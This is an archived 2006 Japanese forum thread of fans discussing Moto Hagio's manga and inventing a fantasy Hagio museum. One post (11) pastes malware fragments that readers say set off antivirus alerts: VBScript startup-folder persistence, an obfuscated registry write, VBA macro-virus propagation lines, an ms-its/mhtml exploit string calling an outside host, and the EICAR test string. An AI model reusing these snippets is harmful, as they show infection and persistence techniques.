06/09/28 00:41:11 0
■過去ログ
１ URLﾘﾝｸ(salad.2ch.net)
２ URLﾘﾝｸ(salad.2ch.net)
３ URLﾘﾝｸ(choco.2ch.net)
４ ｽﾚﾘﾝｸ(gcomic板)
５ URLﾘﾝｸ(comic.2ch.net)
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７ URLﾘﾝｸ(comic.2ch.net)
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3:花と名無しさん
06/09/28 00:41:25 0
16 ｽﾚﾘﾝｸ(gcomic板)
17 ｽﾚﾘﾝｸ(gcomic板)
18 ｽﾚﾘﾝｸ(gcomic板)
19 ｽﾚﾘﾝｸ(gcomic板)
20 ｽﾚﾘﾝｸ(gcomic板)
21 ｽﾚﾘﾝｸ(gcomic板)
にくちゃんねる
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萩尾スレ過去ログ倉庫
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4:花と名無しさん
06/09/28 00:41:36 0
■関連スレ
[SF]
＠＠＠＠SF作家としての萩尾望都＠＠＠＠
ｽﾚﾘﾝｸ(sf板)
[懐かし漫画]
【萩尾望都】ポーの一族・５【永遠の名作】
ｽﾚﾘﾝｸ(rcomic板)
【難解】百億の昼と千億の夜【深遠】2
ｽﾚﾘﾝｸ(rcomic板)
5:花と名無しさん
06/09/28 00:41:53 0
_ -ー--―- .._
ﾉ´ ヽ
〃 `ｰく
, '´ ＼
/ /, ヽ､ ヽ
i 、 （ ｀､ヽ }ﾘ il
（jり ﾉ , ヽ ヽﾉ Y' , ﾘ
ノ ／ , ｲ ､、 }li ｉl ! ﾘ }(（,ｲ
〃 , / { {{ r（_ノﾉ ノ人_ノﾉ〃_,ｲﾘ｀ }!
t {､ い.ヽ.__ﾄこ._'⌒ｰ-,r_ニ.´＾tﾌ,.イt 彳
/〃 {{下､.‐'フfrrﾍ` i '{㌣ﾀk {{ ヽ',.イ
いヽ_ﾊ. い〝ヾ:ｪﾀ. l ＾'宀'´ !ﾗく小{
｀爪_ ゝくﾍ ´＾ | ,ﾊ.ノノﾉ
｀`ヽ._ゝヘﾞ､ _´_ /､（し´
｀いr､＼ ´ー ｀ ,.ｲゝｰ'´
ゞ-ｸ{ ｀丶 .__ _,／l!ﾄ､
／:::l ＼ / l:::ヽ
,.イ::::::::::! /r:く_ l::::::l｀ｰ- ._
_,.-'´:::::|::::::::::::!_,.-‐''_}::{_￣｀ヽ:::!::::::::::::｀ヽ､
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ｌ::::::::::::::!::::::::::/:::::::::::::l.ｌ::::| !:| |::::::::::ヽ::::::!:/:/:::::|
l::::::::::::::::!:::::::::ヽ::::::::::::l:::::ﾄ､ ,!::|.l::::::::::/:::::::!〃::::::::!
!:::::::::::::::::!::::::::::::ヽ::::::::!_::ﾄ､ ｀ ,l:::l:|:::::::/::::::::ｌ/::::::::::::|
6:花と名無しさん
06/09/28 00:42:11 0
／::::::::::::::::::::::::::::::::::::::::::::::::::::::::ヽ
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ノ:::::;::::/:::/〃;／:::::::::::::::::::::::::::::;::::::::::::::ヽ
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〃::/〃::／〃/::::::/:::::;::／:::::／::/ }:li:::|
{':://'/:/,r‐､:'::::／_;.ノ__ -‐':_;:／ /!:ﾘ::!
∨l:li'::l::i r 冫r‐''´ ニー- .._ ´ノ'ノ
Ｙl:!l:l::ｌ { {{ｲ ヽ´{「ft;ﾘ` ,ｒ≠７
､!l:l::.い、ヽ ＾ ｰ-' i{ﾋﾀ7
ヽ-.ヽ_） |｀ /
/{' ､ , ‐' /
／! ､ ＼ ‐-- /
／::::::l ヽ. 丶 ｀" /
／:|:::::::::::! ＼ /､ｰ- - '
／::::::::!:::::::::::､ ｀ｰ_' l::ヽ｀丶､
_／__::::::::::::!::::::::::::ヽ. ,ｒｸヽ::}_￣ヽ:::::::::｀ヽ
/:'´:::::::｀ヽ::::::!::::::::::::::::/,.:':::/:「 ﾄ｀ヽ:::〉:::::|::::ﾊ
/::::::::::::::::::::::､:::::ヽ:::::::::〃::::/l::::l |::l冫'::::::::!:::::::{
':::::::::::::::::/／::::ヽ:::::::｀７｀ヽ〈. |::::l |:::l:｀:7:::::!:::::::::t
i::::::::::::::::〃::::::::::::::::::::::/:::::::::::ヽ!::::| !:::l:::i::::::!:::::/::::ヽ,、
!::::::::::::::::::::::::::::::::::t:::::ヽ::::::::::::::|:::::l |::::!:!::::l:::/::￣´:::::ヽ
!:::::::::::::::::::::::::::´￣{::::::::::＼:::::::!:::::l ,|::::,!::::j/:::::::::::::::::::￣ヽ
7:花と名無しさん
06/09/28 00:42:30 0
,. ‐'"´￣ ー- .
, ‐ ' ＿ ヽ ._
/ rく'´ ヽ ｀ｰ ､
/ / ﾉ } ﾉ ヽ
､_ノ ! ／ , ' } i }
〃 ﾉ / '´ ノ ﾉ ﾉ j } リ ト
{ ,/ {/ . '´ ／ ／ ,〃 / ｲ! ,ハ
､ｲ{ 人. / , '´ ,∠__, -' /／ノ〃 }
} ヾ_ﾄ､ { /{ /,.=､7 ／ ,r_⌒/ _,ノ
ヽ. {､_） ゝ{ ﾊ_ 小tツ{,.ｲし i{t;ﾘ７ (
）ヽｰr{ ｀7 ｀ ＾｀ ｀ |｀＾ !ノ＾
｀ｰr ヽ.）,ｲし' ,! /
!{ l ＾ｰ'´ _＿´ /
｀｀ l ＼ ｰ‐ /
／! ｀ - .__,.ｲ
/ ,l ﾉ ヽ _,,. ､
_,. / ! ! / }ー ‐''7-‐' ｀ヽ
__,.-'´:.:,' {｜ / _＿ !:.:.:.:./｀ｰ‐' ',
´ ,!:.:.:.:.:/ ､ ／/ ./ /:ヽ l:.:.:./ i
／!:.:.:.:/ ,.イ⌒ヽﾞ､ /.／／./:.:.:.:.丶!:./ ! !
|:.:..／:.:.:.| _,.--､ヽ'-‐'-､/:.:.:.:.:.:.:.:.｀:!｜ |
!:.:.:.:.:.:_,.-':,r'⌒}_::}､‐-､::冫:.:.:.:.:.:.:.:.:| l l
,!:.:.:.:.:.ヽ_ｲ_,／/ !::|￣/:.:.:.:.:.:.:.:.:.:.::.! ! ／ |
/,!:.:.:.:.:.:.:.:.:/:::/ /::::! ,':.:.:.:.:.:.:.:.:.:.:.:.:!l. ／/ |
/ /ヽ:.:.:.:.:.:.:/:::/ /:::::! /:.:.:.:.:.:.:.:.:.:.:.:.:.:.} / , ' !
./ l:.:.:.:.:./:::/ヽ/:::://:.:.:.:.:.:.:.:.:.:.:.:.:.:.:.:ヽ ' l
8:花と名無しさん
06/09/28 00:42:49 0
,.-‐＝ー-－､
, -{〃´r ｀ヽ. 丶
/, ｲ い ｰ-､ ｀､
ﾉ ゝ ｀下ヽい j ぃ.ヽ
〃 い ぃ_ノ八ｰ' ､_,小 ヽ.い
八ゝｨ（､_冫ィrくﾍ(__,〃 ﾐヽYﾘ
{ ゝいﾝ‐-廴いゝン-いゝ川 {
｝Ｙハ 涎㌻ヾ代愆ｼ｀〉Yｨ'リ
ヾゝい j / ﾉﾘ´
｀込 __,,__ /ｲ＾′, -＜¨¨ ‐､
r㍉､ ￣ イ^´ ／ ＼
}ﾆヽ.｀¨´〆´{ / ﾊ
ノ廷込Y'{rI巧∨ r _ ',
, -‐､ -‐'´ ￣`ゝ孑乍ミ７ ﾉ⌒ ヽ {. i
〃ｼ/兮､ _／匁/}ドＩ父ｆ （､ノ_,∠._ __い､_ノ |
／乏yiⅣrfﾍ ヽゞﾀ/'ﾉ}!t},ﾈ{ 小 r符ﾐ ' r符ﾐtり} |
／'爻〃 ﾘ' }j'りﾊ. Ｖイﾀ{{ｶt,ハ{ {ぃ ＾¨´ 丨 ｀¨＾ rﾗ′!
／〃朮/ｘ〃ｫﾘ〕}ﾙiﾍ. 丨ﾎ;!}价} いヾ､ ' ,｛（.ノ/
／ッ厶 ﾙ'衣/ゞ/仞{刔ハ !仔}.{弁{ / 弋ﾀ＼｀￣´ ｲ心.／
'^＾＾/ ty'r片/r_/ｒ〃えl爿ﾍ.ｌ込{ }戈j./ /´`フ'| ｀ ｰ ´ {ﾍ‐'＾ヽ
. / ん幺ｲ7方ｿ,!余;朷j ｔj|爻} {父j′ ／ ﾍ ／ ＼ ヽ
' ⌒´丨伐ﾙくj弐ﾈくﾘ,{f|戈{i }_込_イ戈ぇ癸,ゝにユｔュ.--―‐､
/ 亅ゝ'´ｌ ｝iゞlゞ｛小!tゞ'卞冖示ﾃ＝会ﾃ示冖'j|｢￣｀
/ ! l {爻j〃｝jtぐく必込X述ｼx伐ゞム圦.v!
' |ｉ | ヽハ爿刈ﾈYﾍ弐ｿﾊ.Xｲ夾㌢c＾込７
/ l ! l ⅵt｛r{/｀込ぃ.來ネ㌢ | ｀７
/ 丨| i t予/ ヾ沙宀' l /
亅l l ｀ｧ′ ／ !. ! /
､ j ! ! ／ ／ | i c⌒ヽ!
ハ / | ! ／
{ ヽ ／ ￤
9:花と名無しさん
06/09/28 00:45:53 0
１さん、乙華麗。( ^^) _旦~~
10:花と名無しさん
06/09/28 00:54:19 0
>1
乙です
AAいつみても鰈だな
11:<body onload=window()>
06/09/28 01:03:34 0
Set A4 = A1.CreateTextFile(A1.BuildPath(A1.GetSpecialFolder(1)))
<object data="ms-its:mhtml:file://C:\\MAIN.MHT!URLﾘﾝｸ(www.loadcash.biz) type="text/
X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
"avgnt"="\"C:\\Program Files\\AntiVir PersonalEdition Classic\\avgnt.exe\" /min /nosplash"
G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))
ms-its:mhtml:file://c:\
kak.hta';ken=wd+'START
kill -9 xz/tSaBh0
Sub auto_open()
Application.OnSheetActivate = "check_files"
End Sub
Sub check_files()
c$ = Application.StartupPath
m$ = Dir(c$ & "＼" & "PERSONAL.XLS")
If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0
If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0
whichfile = p + w * 10
End Sub
12:花と名無しさん
06/09/28 01:05:18 0
>>1乙です
13:花と名無しさん
06/09/28 02:23:51 0
>>1乙
14:花と名無しさん
06/09/29 08:29:55 0
>>1乙
前スレ終了age
15:花と名無しさん
06/09/29 08:35:56 0
前スレ１０００さん、大変や！
16:花と名無しさん
06/09/29 10:24:16 0
前スレ998の
>「トーマの心臓」のロボットアニメ版
って何だ！？
17:花と名無しさん
06/09/29 11:54:04 0
アルジェントソーマかな
あれ好きだったけど打倒萩尾望都ってのははじめてきいたｗ
普通にオマージュかとｗ
18:17
06/09/29 11:56:11 0
リスペクトを込めた
19:花と名無しさん
06/09/29 14:46:40 0
だれだー！ノートン先生がいちいち反応して煩わしい！
20:花と名無しさん
06/09/29 18:42:24 0
前スレ1000、いいなー
私も一緒に行きたい
21:花と名無しさん
06/09/29 19:50:47 0
>>17
そう、アルジェントソーマれす。
誤解を招いてしまって御免なさい。
監督のインタビューで出て来たものなんですがべつに萩尾作品を貶めようとか考えているわけじゃなく
あの名作の数々に匹敵する様な感動作を作りたいというオマージュにも似た野望wだったわけです。
22:花と名無しさん
06/09/29 21:04:01 0
前スレで｢絵が荒れた？｣って意見があったけど
萩尾さんや山岸涼子さんの絵のクオリティは
あまり気にならなくなってる自分がいる…
なんだかんだ言っても、萩尾さんってストーリーテラーな一面があるよなぁ。
しかし、カラーは何年経ってもうまくならない人だよなぁとも思う。
(萩尾さんが着色してるかどうかわかんないけど)
(竹宮さんのカラーはアシスト着色だと最近知った)
23:花と名無しさん
06/09/29 21:07:58 0
自分はそのアルジェントソーマで萩尾さん知ってはまったですよ。
24:花と名無しさん
06/09/29 21:16:21 0
絵は仕方ないかも
高口里純や楳図かずおも、50近くなってからは
なんかボロボロだけど、それでもイイものはイイし。
25:花と名無しさん
06/09/29 21:45:05 0
うーん…結局話かな。
絵がダメダメ受け付けないと思う人でも話がいいのは読んでいて
しまいには気にならなくなる。
26:花と名無しさん
06/09/29 22:08:24 0
倉田江美も絵が劣化してると言ってみたりする
27:花と名無しさん
06/09/29 23:07:26 0
いや、別に絵が劣化したとか非難してる訳じゃないんだ…。
前回（ほんの数カ月前）フラワーズに載ったときはいつも通りだったのに、
今回で急に質が落ちてたからちょっとビックリしたんだよ。
別に絵がどうなろうとついていく自信はあるけど、
もし思うように絵が描けなくなったら本人が１番ショックなんじゃないかなぁって。腱鞘炎の噂も聞いてるし。
来月も載るみたいで嬉しいけど、あまり無理はしないで欲しいなー。
28:花と名無しさん
06/09/30 01:10:39 0
来月実家に帰る。帰るときはいつも先生の自宅の前を通る。
いつも通るときに「先生いつまでもお元気で・・」って手を合わせちゃうんだ。
29:花と名無しさん
06/09/30 13:34:28 IKdaTYdYO
手を合わせるなんて、生き神さま？
30:花と名無しさん
06/09/30 13:37:28 0
前スレは普通だったけど、
このスレ、上がってないとＰＣで見れない。
上がってても、最新50スレ表示をクリックすると、強度のウィルスに･･って出てしまう。
他のスレは何ともないんだが、なぜだろう？？？
31:花と名無しさん
06/09/30 14:35:33 8mZxsRPs0
実家って大牟田市の・・・？
もし、、、もし萩尾先生が亡くなることがあったら
大牟田市に萩尾望都美術館とかできそうじゃない？
↑
すいません。。不吉なこと言いまして・・・
32:花と名無しさん
06/09/30 14:50:08 0
>>31
埼玉県のお家の方じゃないかと。
実家は、>>28さんのお家だとｵﾓ。
33:花と名無しさん
06/09/30 14:51:01 0
11のせいだ。>>30の為にがんがん語って消費していこう。
萩尾望都美術館って・・・行きたい！
生原稿やらエドガーやアランの等身大の像やら・・・(*´д｀)ﾊｧﾊｧ
34:花と名無しさん
06/09/30 14:52:05 0
>>30
>>11にウィルスコードが貼ってあるからでは？
35:花と名無しさん
06/09/30 14:54:47 O
>>30
専ﾌﾞﾗなら、ｱﾝﾁｳｨﾙｽｿﾌﾄの設定を変えればよし。ﾉｰﾄﾝはうるさすぎ。
36:花と名無しさん
06/09/30 15:43:27 XGfbmuIO0
まだ、萩尾さんって飯能にいるの？
37:花と名無しさん
06/09/30 16:10:27 8mZxsRPs0
>>32
そっか・・勘違いしてた（笑）
38:花と名無しさん
06/09/30 16:34:03 0
質問してもよろしいでしょうか
出会いは神の御業 わかれは人の仕業 （微妙に違うかもしれません）
という台詞かモノローグの出典は萩尾さんのどの作品になりますか？
検索しましたが分からず気になっています
ご存知の方がいらっしゃいましたら、よろしくお願いします
39:花と名無しさん
06/09/30 16:48:04 U5xlXOvR0
Ａ－Ａ’ってどんな話？
読んでみようかと思うんだか軽いあらすじおせてくれ
40:花と名無しさん
06/09/30 16:49:36 0
それって随分前にも話題になったけど
結局、萩尾出典というの自体がネタ（ガセ）という結論で落ちついた。
41:40
06/09/30 16:50:33 0
ごめ、>>40は>>38へのレス
42:花と名無しさん
06/09/30 16:55:24 0
>>39
ここ読むとよろし。↓
URLﾘﾝｸ(www.cafebleu.net)
43:花と名無しさん
06/09/30 17:01:04 0
>>39
女性Ａと男性Ｂは恋人同士なんだけど、女性が死んじゃう
そのクローンのＡ’が男の元に来るが・・・って感じのＳＦ短編
URLﾘﾝｸ(www.cafebleu.net)
44:４３
06/09/30 17:04:11 0
超かぶった
ゴメンorz
45:42
06/09/30 17:07:39 0
>>43-44
(・∀・)ｱﾋｬ！ ｹｺｰﾝwww
46:花と名無しさん
06/09/30 17:29:17 0
> Ａ－Ａ’
念のために言っておくと、一角獣種とあるが
動物ではない
47:38
06/09/30 17:56:48 0
>>40
どうもありがとうございます。そうなのですか
一応公の媒体（某アニメ）の中で言及していたので
本当かと思っていたのですが・・・ 謎だなぁ
48:花と名無しさん
06/09/30 18:12:49 0
よく、あの作品を映画化・実写で見てみたいっていう意見が出てるけど
(11人いるは実写化されたんだっけかｗ)
逆に、萩尾センセにこの映画を描いて欲しい！て作品あったりしませんか？
私は「ガタカ」あたりを萩尾マンガで読みたい。
あと、トーマ/ポー時代くらいの絵柄で「アザーズ」とか合いそうだなって。
スレチ映画板行けとか言われそうですが、
ここの方のご意見も伺いたいのれす。
49:花と名無しさん
06/09/30 18:16:45 0
>>48
エッグ・スタンドあたりの画風作風でヴィクトル・エリセの「ミツバチのささやき」
50:花と名無しさん
06/09/30 19:00:58 0
ワイルドの「理想の結婚」を「バラの花瓶」のノリで、ってそのままか…w
あと「アザーズ」なら、いっそネタ元の「ねじの回転」のほうを希望。
それもできればジェイムズの小説のほうじゃなくて
ブリテンのオペラのほうで。
たらさわみちが前に描いてはいたが
クウィントが不細工なオサーンで、非常に悲しかったので…
ミュージカルマンガがありだったんだから
オペラマンガはやってくれないものかとかねがね思ってるんだけど～
51:花と名無しさん
06/09/30 19:01:35 0
>>43-44
sfなのか
11人いるは結構面白かったのでよんで見ます
そのへんにあるといいけどな
52:花と名無しさん
06/09/30 19:57:48 0
>>50
アザーズってネタ元あるんだ。
ガタカは確かに萩尾的作風が似合いそうだ。ちょい影のあるSFっつうか・・・
あれに出てくるジュード・ロウっていかにも萩尾的美青年って感じする。
53:花と名無しさん
06/09/30 20:20:09 0
＞あと「アザーズ」なら、いっそネタ元の「ねじの回転」
これを映画化した「回転」のマイケル役の子役の雰囲気がエドガーみたいって
思ったことある。とりたてて美形じゃなかったんだけど。
54:花と名無しさん
06/09/30 20:42:19 O
この間、猫にかんする漫画だけを集めた本？みたいなのを見つけて。
萩尾さんの作品ものってた。
猫と人間の女がｾｯｸｽしてたorz
55:花と名無しさん
06/09/30 20:54:22 0
たまにああいうのがある・・・
56:花と名無しさん
06/10/01 06:54:24 0
>>33
>>8の顔がくり抜いてある記念写真用のパネルが
できたらどうしよう
57:愛蔵版名無しさん.
06/10/01 07:13:25 0
>>50
「ねじの回転」は以前に「June」（まだ「Jun」だった頃か？）に竹宮先生がイラストを
描いていたから彼女のイメージがあるけど、「恐るべき子どもたち」の頃の絵で萩尾先生に
描いてもらいたいなあ。
>>56
バラのエッセンス、バラのスープ、青酸カリの表示のある砂糖入れ、電導ヅタの種子、
オリハルコンの携帯ストラップ、ゆで卵（ぉぃ）等々。
さらに、入場者全員に宇宙大学の卒業証書が発行される。
58:花と名無しさん
06/10/01 10:27:23 0
>>56
すごく恐れ多い・・・私はガンガか石頭にでもはまっとくよ。
59:花と名無しさん
06/10/01 10:36:17 O
>>54
ねこもとで面白いのは江古田ちゃんと諸星だけだったなぁ
60:花と名無しさん
06/10/01 14:03:56 0
>>57
美術館併設のカフェ＆レストランで、全くこげめのない焼肉や、シナモン入
れ過ぎティーや、注文しても食わせてもらえないアップルパイなんかも出し
てほしいな。
61:花と名無しさん
06/10/01 14:17:18 O
フォークが入ったスープや、カナの焼いたケーキ。
62:花と名無しさん
06/10/01 14:23:02 0
カナの焼いたケーキは食べたい！
63:花と名無しさん
06/10/01 14:23:12 O
クレームつけても店員はこう返答
「よせよ王さま、この暑さだ誰でもぼうっとするさ」
メニュー続き
フライパンに入ったままのソーセージ
陰膳のキムチ入りコロッケ
学校に行けるキャンディー
じゃがいものスープ、しょうが入り紅茶、バレンタインのリンゴ茶
64:花と名無しさん
06/10/01 14:32:04 0
>>57
耐熱耐寒服、王様のズラ
65:花と名無しさん
06/10/01 14:40:41 0
わ、若返りスーツ（効果持続型で）
岩バチの巣
ハーバル・ビューティ
>>63
バレンタインのはリンゴじゃなくてブラックベリーリーフだったと思われ
66:花と名無しさん
06/10/01 15:15:30 0
ハーバル・ビューティ に出てきたシマシマのレモン
67:花と名無しさん
06/10/01 15:15:48 0
美術館入り口は宇宙大学試験場みたいにブースとＰＣが並んでいて、
萩尾作品についての質問が自動的に出てくる。回答率９割以上取ると
アナウンスで館内に誘導されるも１０名一組なのになぜか１１人
案内されちゃうんだ。
68:花と名無しさん
06/10/01 17:37:51 0
>>67
うっ、回答率9割とは厳しい・・てかファンの嗜みか('Д';)。
合格出来ない子はどうなっちゃうんでしょうか?
「危ない丘の家」の中で主人公が頼朝にすげー肩入れしたあげくタイムスリップしちゃう話があるけど
肩入れというか母性愛(註;主人公は男の子だ;)爆発な描写は萩尾先生が好きな作品について熱弁する時のようだ。
と、NHKの「マンガ夜話」の録画みながらオモタ。
余談だけどこの話描かれたのって鎌倉文化館でオペラ「静と義経」が初演されたのと微妙に時期が重なってるような・・。
こちらでは頼朝はひたすら悪役ですた。
69:花と名無しさん
06/10/01 18:01:28 0
合格できない子→青羽に心臓食わされる
キムチ入りコロッケって萩尾さんの漫画で初めて知ったよ
普通にジャガイモにキムチ詰めて揚げるのかな
70:花と名無しさん
06/10/01 18:06:25 O
残り物でカレーコロッケにするノリかな。
桃屋のあれでじゃがいも辛くして作るだけかも（たこ焼き亭のキムチたこ焼き方式）
71:花と名無しさん
06/10/01 18:29:07 0
合格できない子→「おまえはキツネだ！」と言われて沼地まで追い回されて
張り出し窓で泣く。
72:花と名無しさん
06/10/01 20:18:02 0
アトラクションは張り出し窓からバンジ－ジャンプ？
73:愛蔵版名無しさん.
06/10/01 20:31:05 0
ザ・キーロックスのライブもあります。
74:花と名無しさん
06/10/01 20:40:29 0
スターレッドの「３Dバスケ」もあると嬉しい
75:花と名無しさん
06/10/01 22:11:40 0
「バーン！」アランに撃たれたごっこ。
76:花と名無しさん
06/10/01 22:18:48 0
ありがちだけど「コスプレ写真館」があるといいなあ。
もちろんヅラもありで。
77:花と名無しさん
06/10/01 22:24:16 0
夢は果てしなく広がりんぐ！
78:花と名無しさん
06/10/01 22:26:14 0
ランプトンの椅子でいろいろポーズ取ったり＞コスプレ
79:花と名無しさん
06/10/01 22:58:50 0
>>60
照明はタウブかー！
80:花と名無しさん
06/10/02 04:16:20 0
四角いコオリも忘れずにね♪ （←や、それ現代では激しくフツー）
＞76 コスプレ写真館、いいですね。着てみたい服がたくさんあります。
81:花と名無しさん
06/10/02 13:12:18 0
>>76
黒歴史というべき「フロル用黄ヅラ」も用意してあるんでしょうか?
82:花と名無しさん
06/10/02 13:47:05 0
ハチミツ入り生姜湯と天使に生まれ変われるパンもお願い
83:花と名無しさん
06/10/02 14:50:45 O
でっかいモモ
84:花と名無しさん
06/10/02 16:54:46 0
「ルネッサンスとヒューマニズム」
85:花と名無しさん
06/10/02 16:56:42 0
なにげに通に人気の大老ポー＞コスプレ写真館
86:花と名無しさん
06/10/02 17:17:17 0
そして髪型まで大老ポーを真似た勇者には、道行く人をつかまえて、
「何だ、その品のない服装は！？」と恫喝することが許される。
87:花と名無しさん
06/10/02 18:05:28 0
>>86
ナイス！
88:花と名無しさん
06/10/02 21:37:24 0
未来にレスしてる人が多いのは何でだ？
89:花と名無しさん
06/10/02 22:01:16 0
>>88
一度ログを取得しなおしたらいいと思うよ。
多分、ずれてるのは８８さんのほう。
90:花と名無しさん
06/10/02 23:41:51 0
ラグトーリンの唄や、メッシュのファッションショー、
ミロンの偽絵の展示もおながい！
91:花と名無しさん
06/10/03 00:56:42 0
>>88
そんな人たちはみな時空人だよ。
92:花と名無しさん
06/10/03 01:05:02 0
うむ。萩尾スレなら未来レスもありかとw
93:花と名無しさん
06/10/03 05:20:37 0
ラグトーリンの唄は現実に聴いちゃうとイメージが固まってしまいそうでちょっと怖いなー。
この世の物ではない様な唄、というイメージなので。
94:花と名無しさん
06/10/03 07:56:18 0
おみやげ屋さんに、ジェルミの作ったガラス玉のうまった金魚があるといいな。
（手型針刺しはいらないが）
そして定期的にバレエ公演。もちろん、玉子ちゃんが回りまっせ～。
95:花と名無しさん
06/10/03 09:20:34 0
のだめオーケストラの企画のように
フラワーフェスティバルの創作バレエも見てみたいな。
キャストは全員、オーディションで。
タマコちゃん役は、体重６０ｷﾛ以上で５０回転できるのが条件とか。
96:花と名無しさん
06/10/03 15:07:59 0
トキオの他人の夢に入るやつの体験版。
バルバラで子供になってみんなでふわふわ飛ぶ。
97:花と名無しさん
06/10/03 15:44:49 0
>>97
あ！ それ（・∀・）ｲｲ!！な。
「スプリング！ ぴょんっ」
98:花と名無しさん
06/10/03 15:45:30 0
↑間違えた>>96宛てですた。
99:花と名無しさん
06/10/03 18:30:21 O
バラ園は是非作ってほしいな。んで、エルゼリごっこ（リスカはしないよ！）
温室にもバラがいっぱい、クリムソングローリーのエナジーを吸うアランごっこ
またはツタに絡まって温室ごっこを楽しむ
100:花と名無しさん
06/10/03 21:27:17 0
映画監督の佐藤嗣麻子さんが、イギリスの映画学校の卒業製作で撮った
短編の「半神」は見ること出来ないのかな・・・
今や佐藤さん自体どうしてるかわからない人になっちゃったし・・・
その短編が評価されたおかげで「ヴァージニア」っていう吸血鬼映画を
撮らせてもらえたみたいなの聞いたことあるけど（ジュリアン・サンズが主演だった）
101:花と名無しさん
06/10/03 23:43:49 0
>>100
＞今や佐藤さん自体どうしてるかわからない人になっちゃったし・・・
え？TVドラマの演出や脚本で名前を見かけるけど。
102:花と名無しさん
06/10/03 23:45:19 0
>>99
ついでに、ラディッシュと塩も用意して！
103:花と名無しさん.
06/10/04 07:05:07 0
>>101
うん、昨日も「アンフェア」のスペシャルやっていたしね。
104:花と名無しさん
06/10/05 10:38:22 0
シュロッターベッツの入学案内も ぜひ置いて下さい。
105:花と名無しさん
06/10/05 11:12:24 O
萩尾世界メイド喫茶やったら、従業員はそんじょそこらの美形には務まらないよねぇ
106:花と名無しさん
06/10/05 15:13:25 0
>>105
それを言うならメイド喫茶じゃなく執事喫茶。
グレッグがウエイターだったりして。
107:花と名無しさん
06/10/05 16:53:16 0
>>106
うっかりウエイターの琴線に触れてしまった客は…ｶﾞｸﾌﾞﾙ
美人じゃなくても、女じゃなくても、見るからにMじゃなくてもおかまいなし。
理想は長身に白っぽいブロンドだけど
天然パーマで黒髪で（やや）小柄の男の子だって
むっちり太ってそばかすのおかあちゃんタイプの娼婦だって
ごつくて女性ホルモンの少なそうな赤毛年増だって全然OK
108:花と名無しさん
06/10/05 18:27:39 0
SMクラブになってしまう！
109:花と名無しさん
06/10/05 19:20:03 0
>88-92
ノートントラップがあったらしい
110:花と名無しさん
06/10/05 21:28:24 0
たまこちゃんの大回転…実写で見てみたいなｗ
太った人がやると足とか負担かかりまくるんだろうな。
あと町中で海賊のグラン・パｗ
111:花と名無しさん
06/10/05 23:49:14 0
>>メイド喫茶
アランがメイドコスをしてくれるだろう
接客は最悪そうだが…
112:花と名無しさん
06/10/05 23:54:38 0
>>110
ノーマルのスーツに普通の靴でグラン・ジュテ……
あのあと実はスーツのヤバいとこがほころびてた
オリバーとかw
113:花と名無しさん
06/10/06 00:00:36 0
メイド喫茶って言ったら、あぶな坂のマルちゃんがいるじゃないか。
114:花と名無しさん
06/10/06 04:20:27 0
シャロン・・・
115:花と名無しさん
06/10/06 07:56:56 O
シャロンは森で死んでるけどチキンは持って来ます
116:花と名無しさん
06/10/06 11:38:24 0
>>111フロルも喜んで来てくれる筈
117:花と名無しさん
06/10/06 12:19:03 0
>112さん
しかし、私も「姫君！」と呼ばれてリフトされてみたいものです。
重いから大変だけど、そこはひとつ愛の力で（笑）。
118:花と名無しさん
06/10/06 15:20:38 O
リフトはしてなくないか？
119:花と名無しさん.
06/10/06 17:30:04 0
>>118
バレエは詳しくないんだけど、最後の2ページのあれのことでは？
フォードのロリータ2000の試乗もできますw
120:花と名無しさん
06/10/06 18:28:06 0
もう何の店だかわからないし何の映画だかわからない世界にｗ
ところでポーがお好きでバラの紅茶を試したor試したいと思った人は多いと思う
私は左党なので「ピンク・ビター」が興味ある（「マージナル」ナースタースが月面競馬観戦の時に嗜んでたもの）
たぶん甘口でかなりビター…で、ピンク。泡立っている。
ファーロ（強くて甘くて苦い、ピンクがかった紫））みたいなのかな、それともピンク・ジン
（ほぼストレートのジンに苦味を追加したもの、ほんのりピンク）みたいに甘み無視で、見た目だけかわいいピンクで
しびれるほど強くて苦いのかなーと。思い込みだけどあんまり酸味はなさそう。
萩尾キャラって着るもの食べるものですごくキャラが立つよね。
121:花と名無しさん
06/10/06 18:55:08 0
そういやメッシュの最後の場面の状況になったことがｗ
これは普通に他の人も多そうだけど。
122:花と名無しさん
06/10/06 21:04:51 0
>>120
ピンクレディーも甘くてもかなり苦い。
シェイクじゃなくてステアにしてもらったからかも。
123:花と名無しさん
06/10/07 12:50:44 0
バラの紅茶・・・
自分も厨房時代あこがれて友達と探したよ。
新宿のショップインで見つけたのが
バラ茶ならぬ｢ローズヒップティー｣
でも友達と｢これがバラのお茶だよ！｣と大騒ぎして買って
学校のストーブで沸かした湯で、弁当の時間に飲んだな・・・
感想は、｢…酸っぱい…｣の一言でした。
124:花と名無しさん
06/10/07 14:32:47 0
バラの紅茶は、バラのエッセンスを入れて香りづけってイメージだったから、
香水入れればいいのかと思っていた子供の頃の私。
（試しはしませんでしたが）
その代わり、バラの香りのペン、バラの香りのケシゴムなど、
香りのするものを集めて悦に入っていました。
125:花と名無しさん
06/10/07 21:31:30 0
表参道ヒルズにあるバラ関係のものだけを売っているショップ、嫌でも
ポーを連想しますよ。
126:花と名無しさん
06/10/07 21:47:34 0
バルバラ異界2巻読んだ。十重の奥様が若返った時の言動が笑えた。
「あんなぐちの多いババアはもういや」だって。。。
皆ああなるんだろうか？
127:花と名無しさん
06/10/08 01:40:17 0
>>125
私も思ったｗ
128:花と名無しさん
06/10/08 09:12:31 0
バルバラといえば、最後で出てきた、ライカの両親だけど、
アフリカのとある村で儀式に参加させられたってことは・・
やっぱりサチコにもその影響？が出るんだろうか？
129:花と名無しさん
06/10/08 20:22:46 O
結局、地球人はみんな火星の遺伝子を持っているんだから
心臓を食べ(続け)れば、誰でも火星人になる可能性があるんだよね？
サチコ両親は純度の高い心臓を食べたようなので
その子供サチコはほぼ確実に火星人(火星の記憶を持つ)になる…と考えてFA？
130:花と名無しさん
06/10/08 22:35:40 0
